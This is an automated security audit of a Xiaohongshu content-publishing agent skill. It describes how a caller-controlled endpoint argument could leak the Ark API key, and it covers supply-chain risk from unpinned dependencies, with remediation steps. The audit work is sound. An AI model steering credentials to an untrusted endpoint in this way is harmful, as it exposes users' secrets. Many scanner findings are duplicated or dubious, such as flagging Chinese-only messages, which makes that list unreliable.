Back to skill

Security audit

xiaohongshu |小红书 AI 宣传图、图文笔记和视频发布技能

Security checks for vulnerabilities and agentic risk

Overview

The skill is a disclosed Xiaohongshu content and publishing tool, but it needs Review because it can post immediately with a full account cookie and can send Ark API credentials to a caller-selected endpoint.

Install only if you are comfortable giving the skill a full Xiaohongshu session cookie and API keys. Use --dry-run first, review generated content before invoking publish_xhs.py, avoid --ark-base-url unless you fully trust the endpoint, prefer a dedicated low-risk Xiaohongshu account, and pin dependencies before using it in production.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate_xhs.py:178
Finding

Attacker-Controlled Ark Endpoint Can Receive the API Key and User Content

Content
View full analysis

Vulnerability Details

File Location: scripts/generate_xhs.py:178, 200; credential attachment occurs in scripts/ai_services/volcengine_service.py:22-30
Vulnerability Type: Unrestricted authenticated API endpoint configuration
Risk Level: High

Vulnerable Code

python
# scripts/generate_xhs.py:178
parser.add_argument(
    "--ark-base-url",
    default=volcengine_service.ARK_BASE_URL,
    help="火山引擎 Ark OpenAI 兼容接口地址",
)

# scripts/generate_xhs.py:200
client = (
    service.create_client(args.ark_base_url)
    if provider == "volcengine"
    else service.create_client()
)
python
# scripts/ai_services/volcengine_service.py:22-30
def create_client(base_url: Optional[str] = None) -> Any:
    try:
        from openai import OpenAI
    except ImportError as exc:
        raise RuntimeError("缺少 openai SDK。请运行:pip install openai") from exc

    return OpenAI(
        base_url=base_url or ARK_BASE_URL,
        api_key=require_api_key(),
    )

The same implementation is duplicated at OpenClaw/scripts/generate_xhs.py:178, 200 and OpenClaw/scripts/ai_services/volcengine_service.py:22-30.

Technical Analysis

The --ark-base-url argument accepts an unrestricted string and passes it directly to the OpenAI-compatible client. The same client is initialized with the secret obtained from ARK_API_KEY.

Consequently, the SDK sends authenticated generation requests to whichever endpoint the caller selects. No HTTPS requirement, hostname allowlist, canonical origin validation, or restriction to the official Volcengine Ark service is applied. If an agent follows an untrusted command containing a malicious endpoint, that endpoint can receive the authorization credential and submitted prompt data.

Attack Path

  1. The victim configures a valid ARK_API_KEY.

  2. An attacker influences the command executed by the user or agent, for example:

    bash
    python3 scripts/generate_xhs.py \
      "sensitive campaign description" \
      --pr
    

...[truncated 974 chars]

Remediation
View remediation

Remediation Suggestions

  • Remove the custom endpoint option unless it is operationally necessary.
  • If endpoint configuration is required, parse the URL and enforce:
    • HTTPS only;
    • an exact allowlist of approved Ark hostnames;
    • an expected port and path prefix;
    • rejection of embedded credentials, IP literals, fragments, and malformed hosts.
  • Do not rely on suffix matching such as endswith("volces.com"), because deceptive domains can bypass weak checks.
  • Configure the HTTP client not to forward authorization headers across cross-origin redirects.
  • Separate custom OpenAI-compatible endpoints from the official Ark credential flow. Require a distinct credential explicitly associated with each approved origin.
  • Add tests confirming that HTTP URLs, unapproved domains, deceptive subdomains, and cross-origin redirects are rejected.
  • Apply the remediation to both the root and OpenClaw/ copies to avoid inconsistent security behavior.
  • Rotate ARK_API_KEY if the script has previously been used with an untrusted endpoint.

T08 · Insecure Dependencies

Warning
Location
README.md:34
Finding

Security-Sensitive Runtime Dependencies Are Not Reproducibly Pinned

Content
View full analysis

Vulnerability Details

File Location: README.md:34-39; also documented in SKILL.md:312-317 and OpenClaw/SKILL.md:312-317
Vulnerability Type: Unpinned third-party dependencies
Risk Level: Medium

Vulnerable Code

bash
pip install openai
pip install "xhs>=0.2.13"

Technical Analysis

The documented installation process resolves mutable dependency versions at installation time. The openai package has no version constraint, while xhs>=0.2.13 permits any later release. No lockfile, exact transitive dependency set, or package hashes are supplied.

This is security-sensitive because the OpenAI SDK is given API credentials and generated content, while the xhs package receives the complete Xiaohongshu session Cookie and paths to local media files. A compromised, malicious, or unexpectedly incompatible future release selected by these commands would execute with the privileges of the user running the Skill and could access those secrets and files.

This finding concerns supply-chain exposure rather than evidence that the currently referenced package releases are malicious.

Attack Path

  1. The user follows the documented installation instructions.
  2. Package resolution selects the latest versions satisfying the unconstrained specifications.
  3. A malicious or compromised release, if published under one of the trusted package names, satisfies the specification and is installed.
  4. The dependency executes when generation or publishing initializes its client.
  5. It can read credentials available to the process, including OPENAI_API_KEY, ARK_API_KEY, or XHS_COOKIE.
  6. During publishing, it can also access the media files passed to it and alter, intercept, or duplicate network operations.

Impact Assessment

A compromised dependency executes with the same operating-system privileges as the Skill process. It could access environment-based API credentials and account session material, inspect supplied local files, publish un ...[truncated 267 chars]

Remediation
View remediation

Remediation Suggestions

  • Add a reviewed lockfile or constraints file containing exact versions for direct and transitive dependencies.

  • Install dependencies with integrity hashes, such as:

    bash
    python -m pip install --require-hashes -r requirements.lock
    
  • Pin direct dependencies to reviewed versions rather than using an open-ended lower bound.

  • Generate dependency files from a controlled environment and update them through a documented review process.

  • Use the official package index explicitly and prevent unintended extra indexes or dependency-confusion sources in deployment configuration.

  • Run automated vulnerability, provenance, and license checks when updating dependencies.

  • Test upgrades before changing locked versions.

  • Execute the Skill in a least-privileged environment with access only to required media files and credentials.

  • Keep API credentials and the Xiaohongshu Cookie out of the environment until the specific operation requiring them is executed.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (35)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The finding indicates the skill can publish directly using environment-provided cookies, while the declared permissions are empty and the documented user-intent gate may not be enforced. Hidden or under-declared access to sensitive credentials and account actions materially raises the risk of unauthorized or unexpected posting.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The documentation asserts that publishing occurs only after explicit user intent, but the skill also exposes a standalone publishing script that will post immediately when invoked. In an agent setting, this mismatch is dangerous because an orchestrator or downstream tool may call the publisher directly without enforcing the documented intent gate, resulting in unauthorized posting to the user's social-media account.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The document explicitly says publication requires explicit authorization, but later states that the script publishes immediately upon invocation with no confirmation. That contradiction weakens safety guarantees and can lead to accidental or unintended account actions, especially because the tool uses a powerful session cookie that acts like bearer authentication for posting as the user.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The raised error string is written only in Chinese, which imposes a specific language on users without offering locale selection or documenting a justified region-specific constraint. This is a natural-language policy concern because the file contains user-facing text that forces one language.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This user-visible RuntimeError message is only in Chinese and does not offer any language opt-in or explain why the skill is Chinese-only. That creates a language-policy issue under the natural-language policy rule.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The exception text is exclusively in Chinese, which enforces a single language for users regardless of their locale or preferences. No opt-in, alternate language, or regional justification is present in the file.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This RuntimeError string is user-facing and only in Chinese, with no language fallback or stated locale limitation. That violates the language-choice expectation described by the policy rule.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The function sends both system and user prompt content to a remote API via client.responses.create, but the code provides no confirmation prompt, print/log notice, or explanatory comment/docstring warning that user-supplied text will be transmitted off-box. For a code file, outbound transmission of user or system data should have some visible disclosure unless clearly covered elsewhere.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The image generation call sends the provided prompt to an external service, yet this file contains no confirmation, logging, or explanatory documentation warning the user about that network transmission. This is a safety-relevant external data flow covered by the missing user warnings rule for code files.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The error message shown here is hard-coded in Chinese only, and the file does not indicate that the tool is intentionally restricted to a Chinese-speaking audience. This creates a natural-language policy issue because no user opt-in or locale handling exists.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The embedded prompt requires Chinese character limits and Chinese typography, effectively constraining output language and locale by default. The file does not provide an opt-in or choice for other languages/locales, which matches the policy's language/locale violation criterion.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script transmits user-provided descriptions to external AI providers for content generation, but it does not present an explicit warning or consent step at the point of use. This can expose sensitive business, personal, or unpublished marketing information to third-party services, especially when descriptions are read from local files and users may not realize the content leaves the local environment.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
82% confidence
Finding

The README presents the skill entirely in Chinese and all trigger/invocation examples are Chinese-only, which implies a fixed language/locale expectation. There is no statement that users may interact in other languages or that the Chinese-only scope is an intentional, justified regional constraint.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill declares no explicit tool scope or permissions, yet the documentation clearly indicates use of environment variables, local file reads/writes, and credential-backed publishing via XHS_COOKIE. This mismatch weakens least-privilege controls and can cause hosts or reviewers to underestimate the skill’s access to sensitive data and account-affecting actions.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The documentation frames the skill as a publishing tool, but it also acknowledges that the supplied cookie can authorize broader account operations such as edit and delete. That discrepancy understates the effective authority being handed to the skill and can cause users to expose a token with far more privilege than they expect.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The raised error message is written only in Chinese, which imposes a specific language on users without any opt-in or alternative locale handling. The policy applies to natural-language strings in code as well as documentation, so this is a language/locale policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This runtime error string is presented only in Chinese and does not offer any user language choice or locale negotiation. That creates a natural-language policy violation if the skill is not explicitly documented as Chinese-only.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The exception text is a user-visible natural-language message written only in Chinese, with no indication that the tool is region-specific or Chinese-only. This can violate language-choice expectations under the policy.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This error message is emitted only in Chinese and gives users no language alternative or opt-in mechanism. Under the stated policy, forcing a specific language in natural-language strings is a violation unless clearly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The raised RuntimeError uses Chinese-only wording, which forces a specific language for user-visible feedback without opt-in or documented locale constraints. This matches the natural-language policy violation category.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.